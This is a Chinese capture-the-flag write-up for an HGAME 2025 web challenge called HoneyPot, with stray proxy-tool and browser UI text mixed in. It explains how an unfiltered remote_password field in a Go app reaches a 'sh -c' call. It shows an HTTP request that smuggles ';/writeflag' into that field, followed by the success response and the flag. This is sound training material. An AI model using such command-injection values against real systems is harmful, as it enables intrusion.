

5i1encee#0x000320-WEEK2-WP

5i1encee#0x000320

问卷

明年见!

填写问卷，复制粘贴

Web

Level 21096 HoneyPot

目录扫描，存在 `/flag`，直接访问为 `fake_flag`

审计附件源码 `main.go`，主要实现了数据库连接测试、导入、查询这几个功能，发现存在函数 `sanitizeInput()` 和 `validateImportConfig()` 对各种输入严格过滤。

在注释的附近发现各个参数先拼接为字符串 `command`，再用 `cmd := exec.Command("sh", "-c", command)` 执行命令，其中参数 `config.RemotePassword` 遗漏了对输入的过滤，从而可以实施命令注入。

点击导入数据，截包，在 `remote_password` 字段处加 `;` 来截断前面的命令，然后执行 `/writeflag`

Send

Cancel

Target: http://node1.hgame.vidar.club:31211

HTTP/1

Request

PrettyRawHex

In

```
2 Host: node1.hgame.vidar.club:30342
3 Content-Length: 157
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102
  Safari/537.36
5 Content-Type: application/json
6 Accept: */*
7 Origin: http://node1.hgame.vidar.club:30342
8 Referer: http://node1.hgame.vidar.club:30342/
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9
11 Connection: close
12
13 {
  "remote_host": "127.0.0.1",
  "remote_port": "3306",
  "remote_username": "root",
  "remote_password": "l;/writeflag",
  "remote_database": "test3",
  "local_database": "test3"
}
```

Search...

0 matches

Inspector

Request Attributes2

Request Query Parameters0

Request Cookies0

Request Headers10

Response Headers4

Response

PrettyRawHexRender

In

```
1 HTTP/1.1 200 OK
2 Content-Type: application/json; charset=utf-8
3 Date: Thu, 13 Feb 2025 10:43:01 GMT
4 Content-Length: 55
5 Connection: close
6
7 {
  "message": "Data imported successfully",
  "success": true
}
```

Search...

0 matches

Done197 bytes | 605 millis

再访问 `/flag`，得到flag

node1.hgame.vidar.club:31211/flag

常用网址

哔哩哔哩 (°- °)つ口 ...

2024 CBCTF

Vidar-Team CTF 终端

MoeCTF 202

hgame{e562408d-96b6-24bc-b9ed-4c1301bade58}